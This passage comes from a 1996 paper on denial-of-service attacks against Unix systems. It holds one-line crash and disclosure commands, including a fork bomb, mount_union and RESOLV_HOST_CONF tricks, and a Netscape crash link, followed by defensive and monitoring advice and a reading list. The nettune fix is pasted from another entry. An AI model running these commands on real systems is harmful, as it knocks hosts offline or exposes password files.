  923. every directory. Let every name have over 30 characters and execute a
  924. script that makes a lot of ls -al on the directories.
  925.  
  926. If the impact is not big enough you should create more files or launch
  927. more processes.
  928.  
  929. .D.8. CSH ATTACK
  930. ----------------
  931.  
  932. Just start this under /bin/csh (after proper modification)
  933. and the load level will get very high (that is 100% of the cpu time)
  934. in a very short time.
  935.  
  936. Ex:
  937.  
  938.     |I /bin/csh
  939.     nodename : **************b
  940.  
  941. .D.9. CREATING FILES IN /tmp
  942. ----------------------------
  943.  
  944. Many programs creates files in /tmp, but are unable to deal with the
  945. problem
  946. if the file already exist. In some cases this could be used for a
  947. denial of service attack.
  948.  
  949. .D.10. USING RESOLV_HOST_CONF
  950. -----------------------------
  951.  
  952. Some systems have a little security hole in the way they use the
  953. RESOLV_HOST_CONF variable. That is we can put things in it and
  954. through ping access confidential data like /etc/shadow or
  955. crash the system. Most systems will crash if /proc/kcore is
  956. read in the variable and access through ping.
  957.  
  958. Ex:
  959.  
  960.     $ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf
  961.  
  962. .D.11. SUN 4.X AND BACKGROUND JOBS
  963. ----------------------------------
  964.  
  965. Thanks to Mr David Honig <honig@amada.net> for the following:
  966.  
  967. " Put the string "a&" in a file called "a" and perform "chmod +x a".
  968. Running "a" will quickly disable a Sun 4.x machine, even disallowing
  969. (counter to specs) root login as the kernel process table fills."
  970.  
  971. " The cute thing is the size of the
  972. script, and how few keystrokes it takes to bring down a Sun
  973. as a regular user."
  974.  
  975. .D.12. CRASHING DG/UX WITH ULIMIT
  976. ---------------------------------
  977.  
  978. ulimit is used to set a limit on the system resources available to the
  979. shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the
  980. passwd file be set to zero.
  981.  
  982. .D.13. NETTUNE AND HP-UX
  983. ------------------------
  984.  
  985. /usr/contrib/bin/nettune is SETUID root on HP-UX meaning
  986. that any user can reset all ICMP, IP and TCP kernel
  987. parameters, for example the following parameters:
  988.  
  989.     - arp_killcomplete
  990.     - arp_killincomplete
  991.     - arp_unicast
  992.     - arp_rebroadcast
  993.     - icmp_mask_agent
  994.     - ip_defaultttl
  995.     - ip_forwarding
  996.     - ip_intrqmax
  997.     - pmtu_defaulttime
  998.     - tcp_localsubnets
  999.     - tcp_receive
  1000.     - tcp_send
  1001.     - tcp_defaultttl
  1002.     - tcp_keepstart
  1003.     - tcp_keepfreq
  1004.     - tcp_keepstop
  1005.     - tcp_maxretrans
  1006.     - tcp_urgent_data_ptr
  1007.     - udp_cksum
  1008.     - udp_defaultttl
  1009.     - udp_newbcastenable
  1010.     - udp_pmtu
  1011.     - tcp_pmtu
  1012.     - tcp_random_seq
  1013.  
  1014. The solution could be to set the proper permission on
  1015. /sbin/mount_union:
  1016.  
  1017. #chmod u-s /sbin/mount_union
  1018.  
  1019. .D.14. SOLARIS 2.X AND NFS
  1020. --------------------------
  1021.  
  1022. If a process is writing over NFS and the user goes over the disk
  1023. quota will the process go into an infinite loop.
  1024.  
  1025. .D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
  1026. --------------------------------------------------
  1027.  
  1028. By executing a sequence of mount_union commands any user
  1029. can cause a system reload on all FreeBSD version 2.X before
  1030. 1996-05-18.
  1031.  
  1032. $ mkdir a
  1033. $ mkdir b
  1034. $ mount_union ~/a ~/b
  1035. $ mount_union -b ~/a ~/b
  1036.  
  1037. The solution could be to set the proper permission on
  1038. /sbin/mount_union:
  1039.  
  1040. #chmod u-s /sbin/mount_union
  1041.  
  1042. .D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X
  1043. ----------------------------------------------------
  1044.  
  1045. Executing the trap_mon instruction from user mode can cause
  1046. a kernel panic or a window underflow watchdog reset under
  1047. SunOS 4.1.x, sun4c architecture.
  1048.  
  1049.  
  1050. .E. DUMPING CORE
  1051. ~~~~~~~~~~~~~~~~
  1052.  
  1053. .E.1. SHORT COMMENT
  1054. -------------------
  1055.  
  1056. The core dumps things don't really belongs in this paper but I have
  1057. put them here anyway.
  1058.  
  1059. .E.2. MALICIOUS USE OF NETSCAPE
  1060. -------------------------------
  1061.  
  1062. Under Netscape 1.1N this link will result in a segmentation fault and a
  1063. core dump.
  1064.  
  1065. Ex:
  1066.  
  1067.     <a name="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
  1068.     xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
  1069.     xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
  1070.     xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
  1071.     xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...>
  1072.  
  1073. .E.3. CORE DUMPED UNDER WUFTPD
  1074. ------------------------------
  1075.  
  1076. A core dumped could be created under wuftp with two different
  1077. methods:
  1078.  
  1079.     (1) Then pasv is given (user not logged in (ftp -n)). Almost all
  1080.     versions of BSD:s ftpd.
  1081.     (2) More than 100 arguments is given with any executable
  1082.     command. Presents in all versions of BSD:sd ftpd.
  1083.  
  1084. .E.4. ld UNDER SOLARIS/X86
  1085. --------------------------
  1086.  
  1087. Under Solaris 2.4/X86 ld dumps core if given with the -s option.
  1088.  
  1089.  
  1090. .F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
  1091. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1092.  
  1093. .F.1. BASIC SECURITY PROTECTION
  1094. -------------------------------
  1095.  
  1096. .F.1.1. INTRODUCTION
  1097. --------------------
  1098.  
  1099. You can not make your system totally secured against denial of service
  1100. attacks but for attacks from the outside you can do a lot. I put this
  1101. work list together and hope that it can be of some use.
  1102.  
  1103. .F.1.2. SECURITY PATCHES
  1104. ------------------------
  1105.  
  1106. Always install the proper security patches. As for patch numbers
  1107. I don't want to put them out, but that doesn't matter because you
  1108. anyway want to check that you have all security patches installed,
  1109. so get a list and check! Also note that patches change over time and
  1110. that a solution suggested in security bulletins (i.e. CERT) often
  1111. is somewhat temporary.
  1112.  
  1113. .F.1.3. PORT SCANNING
  1114. ---------------------
  1115.  
  1116. Check which services you have. Don't check with the manual
  1117. or some configuration file, instead scan the ports with sprobe
  1118. or some other port scanner. Actual you should do this regualy to see
  1119. that anyone don't have installed a service that you don't want on
  1120. the system (could for example be service used for a pirate site).
  1121.  
  1122. Disable every service that you don't need, could for example be rexd,
  1123. fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen,
  1124. tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime
  1125. and chargen is possible to get to loop. There is however no need
  1126. to turn discard off. The discard service will just read a packet
  1127. and discard it, so if you turn off it you will get more sensitive to
  1128. denial of service and not the opposite.
  1129.  
  1130. Actual can services be found on many systems that can be used for
  1131. denial of service and brute force hacking without any logging. For
  1132. example Stock rexec never logs anything. Most popd:s also don't log
  1133. anything
  1134.  
  1135. .F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
  1136. ---------------------------------------------------------
  1137.  
  1138. Check that attacks described in this paper and look at the
  1139. solution. Some attacks you should perform yourself to see if they
  1140. apply to your system, for example:
  1141.  
  1142.     - Freezing up X-Windows.
  1143.     - Malicious use of telnet.
  1144.     - How to disable services.
  1145.     - SunOS kernel panic.
  1146.     - Attacking with lynx clients.
  1147.     - Crashing systems with ping from Windows 95 machines.
  1148.  
  1149. That is stress test your system with several services and look at
  1150. the effect.
  1151.  
  1152. Note that Solaris 2.4 and later have a limit on the number of ICMP
  1153. error messages (1 per 500 ms I think) that can cause problems then
  1154. you test your system for some of the holes described in this paper.
  1155. But you can easy solve this problem by executing this line:
  1156.  
  1157. $ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0
  1158.  
  1159. .F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
  1160. --------------------------------------------------------
  1161.  
  1162. Check the inside attacks, although it is always possibly to crash
  1163. the system from the inside you don't want it to be to easy. Also
  1164. have several of the attacks applications besides denial of service,
  1165. for example:
  1166.  
  1167.     - Crashing the X-Server:   If stickybit is not set in /tmp
  1168.               a number of attacks to gain
  1169.               access can be performed.
  1170.  
  1171.     - Using resolv_host_conf:  Could be used to expose
  1172.               confidential data like
  1173.               /etc/shadow.
  1174.  
  1175.     - Core dumped under wuftpd:     Could be used to extract
  1176.               password-strings.
  1177.  
  1178. If I don't have put out a solution I might have recommended son other
  1179. paper.
  1180. If not I don't know of a paper with a solution I feel that I can
  1181. recommend.
  1182. You should in these causes check with your company.
  1183.  
  1184. .F.1.6. EXTRA SECURITY SYSTEMS
  1185. ------------------------------
  1186.  
  1187. Also think about if you should install some extra security systems.
  1188. The basic that you always should install is a logdaemon  and a wrapper.
  1189. A firewall could also be very good, but expensive. Free tools that can
  1190. be found on the Internet is for example:
  1191.  
  1192. TYPE:       NAME:      URL:
  1193.  
  1194. LOGDAEMON    NETLOG    ftp://net.tamu.edu/pub/security/TAMU
  1195. WRAPPER       TCP WRAPPERS   ftp://cert.org/pub/tools/tcp_wrappers
  1196. FIREWALL    TIS       ftp://ftp.tis.com/pub/firewalls/toolkit
  1197.  
  1198. Note that you should be very careful if building your own firewall with
  1199. TIS or you might open up new and very bad security holes, but it is a
  1200. very
  1201. good security packer if you have some basic knowledge.
  1202.  
  1203. It is also very good to replace services that you need, for example
  1204. telnet,
  1205. rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be
  1206. found at URL:
  1207.  
  1208.     ftp://ftp.cs.hut.fi/pub/ssh
  1209.  
  1210. The addresses I have put out are the central sites for distributing
  1211. and I don't think that you should use any other except for CERT.
  1212.  
  1213. For a long list on free general security tools I recommend:
  1214. "FAQ: Computer Security Frequently Asked Questions".
  1215.  
  1216. .F.1.7. MONITORING SECURITY
  1217. ---------------------------
  1218.  
  1219. Also monitor security regular, for example through examining system log
  1220. files, history files... Even in a system without any extra security
  1221. systems
  1222. could several tools be found for monitoring, for example:
  1223.  
  1224.     - uptime
  1225.     - showmount
  1226.     - ps
  1227.     - netstat
  1228.     - finger
  1229.  
  1230. (see the man text for more information).
  1231.  
  1232. .F.1.8. KEEPING UP TO DATE
  1233. --------------------------
  1234.  
  1235. It is very important to keep up to date with security problems. Also
  1236. understand that then, for example CERT, warns for something it has often
  1237. been dark-side public for sometime, so don't wait. The following
  1238. resources
  1239. that helps you keeping up to date can for example be found on the
  1240. Internet:
  1241.  
  1242.     - CERT mailing list. Send an e-mail to cert@cert.org to be placed
  1243.     on the list.
  1244.  
  1245.     - Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net.
  1246.  
  1247.     - WWW-security mailing list. Send an e-mail to
  1248.     www-security@ns2.rutgers.edu.
  1249.  
  1250. .F.1.9. READ SOMETHING BIGGER AND BETTER
  1251. ----------------------------------------
  1252.  
  1253. Let's start with papers on the Internet. I am sorry to say that it is
  1254. not
  1255. very many good free papers that can be found, but here is a small
  1256. collection
  1257. and I am sorry if have have over looked a paper.
  1258.  
  1259. (1) The Rainbow books is a long series of free books on computer
  1260. security.
  1261. US citizens can get the books from:
  1262.  
  1263.     INFOSEC AWARENESS OFFICE
  1264.     National Computer Security Center
  1265.     9800 Savage Road
  1266.     Fort George G. Meader, MD 20755-600
  1267.  
  1268. We other just have to read the papers on the World Wide Web. Every
  1269. paper can not however be found on the Internet.
  1270.  
  1271. (2) "Improving the security of your Unix system" by Curry  is also very
  1272. nice if you need the very basic things. If you don't now anything about
  1273. computer security you can't find a better start.
  1274.  
  1275. (3) "The WWW security FAQ" by Stein is although it deal with W3-security
  1276. the very best better on the Internet about computer security.
  1277.  
  1278. (4) CERT have aklso published several good papers, for example:
  1279.  
  1280.     - Anonymous FTP Abuses.
  1281.     - Email Bombing and Spamming.
  1282.     - Spoofed/Forged Email.
  1283.     - Protecting yourself from password file attacks.
  1284.  
  1285. I think however that the last paper have overlooked several things.
  1286.  
  1287. (5) For a long list on papers I can recommend:
  1288. "FAQ: Computer Security Frequently Asked Questions".
  1289.  
  1290. (6) Also see section ".G. SUGGESTED READING"
  1291.  
  1292. You should also get some big good commercial book, but I don't want
  1293. to recommend any.
  1294.  
  1295. .F.2. MONITORING PERFORMANCE
  1296. ----------------------------
  1297.  
  1298. .F.2.1. INTRODUCTION
  1299. --------------------
  1300.  
  1301. There is several commands and services that can be used for
  1302. monitoring performance. And at least two good free programs can
  1303. be found on Internet.
  1304.  
  1305. .F.2.2. COMMANDS AND SERVICES
  1306. -----------------------------
  1307.  
  1308. For more information read the man text.
  1309.  
  1310. netstat       Show network status.
  1311. nfsstat       Show NFS statistics.
  1312. sar    System activity reporter.
  1313. vmstat      Report virtual memory statistics.
  1314. timex       Time a command, report process data and system
  1315.       activity.
  1316. time        Time a simple command.
  1317. truss       Trace system calls and signals.
  1318. uptime      Show how long the system has been up.
  1319.  
  1320. Note that if a public netstat server can be found you might be able
  1321. to use netstat from the outside. netstat can also give information
  1322. like tcp sequence numbers and much more.
  1323.  
  1324. .F.2.3. PROGRAMS
  1325. ----------------
  1326.  
  1327. Proctool: Proctool is a freely available tool for Solaris that monitors
  1328. and controls processes.
  1329.     ftp://opcom.sun.ca/pub/binaries/
  1330.  
  1331. Top: Top might be a more simple program than Proctool, but is
  1332. good enough.
  1333.  
  1334. .F.2.4. ACCOUNTING
  1335. ------------------
  1336.  
  1337. To monitor performance you have to collect information over a long
  1338. period of time. All Unix systems have some sort of accounting logs
  1339. to identify how much CPU time, memory each program uses. You should
  1340. check your manual to see how to set this up.
  1341.  
  1342. You could also invent your own account system by using crontab and
  1343. a script with the commands you want to run. Let crontab run the script
  1344. every day and compare the information once a week. You could for
  1345. example let the script run the following commands:
  1346.  
  1347.     - netstat
  1348.     - iostat -D
  1349.     - vmstat
  1350.  
  1351.  
  1352. .G. SUGGESTED READING
  1353. ~~~~~~~~~~~~~~~~~~~~~
  1354.  
  1355. .F.1. INFORMATION FOR DEEPER KNOWLEDGE
  1356. -------------------------------------
  1357.  
  1358. (1) Hedrick, C. Routing Information Protocol. RFC 1058, 1988.
  1359. (2) Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904,
  1360. 1984.
  1361. (3) Postel, J. Internet Control Message Protocol. RFC 792, 1981.
  1362. (4) Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977.
  1363. (5) Sollins, K.R. The TFTP Protocol, RFC 783, 1981.
  1364. (6) Croft, W.J. Bootstrap Protocol, RFC 951, 1985.
  1365.  
  1366. Many of the papers in this category was RFC-papers. A RFC-paper
  1367. is a paper that describes a protocol. The letters RCS stands for
  1368. Request For Comment. Hosts on the Internet are expected to understand
  1369. at least the common ones. If you want to learn more about a protocol
  1370. it is always good to read the proper RFC. You can find a nice sRFC
  1371. index search form at URL:
  1372.  
  1373.     http://pubweb.nexor.co.uk/public/rfc/index/rfc.html
  1374.  
  1375. .F.2. KEEPING UP TO DATE INFORMATION
  1376. ------------------------------------
  1377.  
  1378. (1) CERT mailing list. Send an e-mail to cert@cert.org to be placed
  1379. on the list.
  1380. (2) Bugtraq mailinglist. Send an e-mail to bugtraq-request@fc.net.
  1381. (3) WWW-security mailinglist. Send an e-mail to
  1382. www-security@ns2.rutgers.edu.
  1383. (4) Sun Microsystems Security Bulletins.
  1384. (5) Various articles from:     - comp.security.announce
  1385.               - comp.security.unix
  1386.               - comp.security.firewalls
  1387. (6) Varius 40Hex Issues.
  1388.  
  1389. .F.3. BASIC INFORMATION
  1390. -----------------------
  1391.  
  1392. (1) Husman, H. INTRODUKTION TILL DATAS─KERHET UNDER X-WINDOWS, 1995.
  1393. (2) Husman, H. INTRODUKTION TILL IP-SPOOFING, 1995.
  1394. (3) The following rainbow books:    - Teal Green Book (Glossary of
  1395.               Computer Security Terms).
  1396.               - Bright Orange Book( A Guide
  1397.               to Understanding Security Testing
  1398.               and Test Documentation in Trusted
  1399.               Systems).
  1400.               - C1 Technical Report-001
  1401.               (Computer Viruses: Preventation,
  1402.               Detection, and Treatment).
  1403. (4) Ranum, Marcus. Firewalls, 1993.
  1404. (5) Sun Microsystems, OpenWindows V3.0.1. User Commands, 1992.
  1405. (6) Husman, H. ATT SP┼RA ODOKUMENTERADE S─KERHETSLUCKOR, 1996.
  1406. (7) Dark OverLord, Unix Cracking Tips, 1989.
  1407. (8) Shooting Shark, Unix Nasties, 1988.
  1408. (9) LaDue, Mark.D. Hostile Applets on the Horizone, 1996.
  1409. (10) Curry, D.A. Improving the security of your unix system, 1990.
  1410. (11) Stein, L.D. The World Wide Web security FAQ, 1995.
  1411. (12) Bellovin, S.M. Security Problems in the TCP/IP Protocol, 1989.
  1412.  
  1413. .H. COPYRIHT
  1414. ------------
  1415.  
  1416. This paper is Copyright (c) 1996 by Hans Husman.
  1417.  
  1418. Permission is hereby granted to give away free copies electronically.
  1419. You
  1420. may distribute, transfer, or spread this paper electronically. You may
  1421. not
  1422. pretend that you wrote it. This copyright notice must be maintained in
  1423. any
  1424. copy made. If you wish to reprint the whole or any part of this paper in
  1425. any
  1426. other medium excluding electronic medium, please ask the author for
  1427. permission.
  1428.  
  1429. .I. DISCLAIMER
  1430. --------------
  1431.  
  1432. The information within this paper may change without notice. Use of this
  1433. information constitutes acceptance for use in an AS IS condition. There
  1434. are
  1435. NO warranties with regard to this information. In no event shall the
  1436. author
  1437. be liable for any damages whatsoever arising out of or in connection
  1438. with
  1439. the use or spread of this information. Any use of this information is at
  1440. the
  1441. user's own risk.
  1442.  
  1443. --
  1444.                                      email: real@freenet.edmonton.ab.ca
  1445.  
  1446.